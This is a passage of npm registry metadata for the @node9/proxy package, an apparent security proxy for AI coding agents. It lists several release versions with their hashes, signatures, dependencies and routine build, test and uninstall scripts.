ndsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.62.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"2b05381ef55a96d1ea5faad6bbcc9c778d895be4","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.62.1.tgz","fileCount":17,"integrity":"sha512-gSbrXA14AI0XGHlmbJ1yqISpl00ESiU/d0bqEK3ZxryL8c63LHRFyEuQRZO6ffKJlSZaqsHuwZgi2JC6ti0RDw==","signatures":[{"sig":"MEQCIFEqUbyV/xF04cbmW1bhCFLeXCpgQzAg9hmuW+kXeX1mAiB6Kgq8ae/uOT1Rpslpe8GBfrxfTc8p5insbBC4kAgqTA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.62.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6803808},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f80c5ff6b9c75a50fb36f8fb71e67b90612de3fa","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.62.1_1784234911102_0.6868612516899377","host":"s3://npm-registry-packages-npm-production"}},"1.63.0":{"name":"@node9/proxy","version":"1.63.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.63.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"53532418f7ca0e39268a5173af878641748bf267","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.63.0.tgz","fileCount":17,"integrity":"sha512-VsbVMGOHjiomv0ZHCuIC9G920cKWWVw7jAJyoGW85/8Tf5mDTlGWsKlzTs3WTAxn6gGT9eWQyfnjbFAoqzgp+w==","signatures":[{"sig":"MEQCIAp+FCgxVg9qhwoeOW2P9bSVpmMuC5bHwgMrPWZhzkGTAiBck1/xr4713pgHVazg5KHg+Wp/eFIVBOWyIicb//zsqg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.63.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6805100},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0cce90468b7a1cf27352db4483fb0903374d07ae","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.63.0_1784289458459_0.3810417159216182","host":"s3://npm-registry-packages-npm-production"}},"1.64.0":{"name":"@node9/proxy","version":"1.64.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.64.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"16d37cb151a02356aa2d15a5d88dae9564e137a7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.64.0.tgz","fileCount":17,"integrity":"sha512-dJ2HZmpwquKH5CZ/M4DSW5hvAAYvXNs8kQLkqFyCZGOYXTb9ero1K4DWkflwbmhy8ompvmysJKc0rbBjlzS+0Q==","signatures":[{"sig":"MEUCIAm1eLJeOzC+/YT6ERq777Ox0aRdzoMVCX7h2jtnXtIoAiEAujlqP4W4YQo7pKC1dW0JwZ81W2D7wbjUqCJNv/Oqf+8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.64.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6864781},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d14822602a0bc5d4548a673c2508a8637647a8e2","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.64.0_1784904712743_0.972467435577955","host":"s3://npm-registry-packages-npm-production"}},"1.65.0":{"name":"@node9/proxy","version":"1.65.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.65.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8a7233c8ee6f819cbeedb09bc1a1c304be5be156","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.65.0.tgz","fileCount":17,"integrity":"sha512-sQhN980jQbVL1doT4Aus0exlP6tX9bWzfzCJWTWfvhkJm69bAMB1/ihx8nUZ4PbNA8kVToI3sdJFpN5JXP8JbQ==","signatures":[{"sig":"MEQCIBnu/bUdNGiC0BlTlXqJKa0vinmBSGa+bKzWK5kHIJVhAiAbiQfP6HhCB30++g5GQUy53Fbh9R7UQ7iP9ZYPcF3t4w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.65.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6885305},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"91b6cc73a13e20388b9874c24cd5e6ba8fe992f4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.65.0_1784925183578_0.11833127542958088","host":"s3://npm-registry-packages-npm-production"}},"1.65.1":{"name":"@node9/proxy","version":"1.65.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.65.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"cf06f5492edadb2887452d648dcfcb8b1eca6f41","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.65.1.tgz","fileCount":17,"integrity":"sha512-xtFqaZwgx7eisfGmU3G6p/nF226ju15p9HQCd+A4asj0mmB8tEG/6o0dUZ7p+9vqVBteWTITcepZbbY9oMpzpg==","signatures":[{"sig":"MEUCIA49k/6jp4N8yOn1sXFLJBQXgOMKeObv3IAKbsM0t59PAiEAz7cR0Y8/yoVElUn74fDICqjS9FAoqSmzYPN3TI5Fz2c=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.65.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6885401},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"66a5764845eef6b936b20f1612014aaeaf91fbc1","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.65.1_1784970435743_0.6789647448426286","host":"s3://npm-registry-packages-npm-production"}},"1.66.0":{"name":"@node9/proxy","version":"1.66.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.66.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e20bb9966c7475ba0ef65176ec9b3ab3742841b6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.66.0.tgz","fileCount":17,"integrity":"sha512-Lpye2lDWqPvbVgTdMZFecwegTA89M34UniFbSKR2ME9ojUbHiFvsyuiib8dlBZBbz4mgmlVEZn8aixIBe7YXqQ==","signatures":[{"sig":"MEQCIDv3gnudq6M62NoZ7erE96bFuUSyM3YDmb1B8j/SqKjvAiBftUd9qF80hAkVzwM09OhlLUnOJP5Zw4MvQAHrxmB37Q==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.66.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6895654},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e25847e53451a8a3fbfb560f64bcb1fed6baa9e2","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP 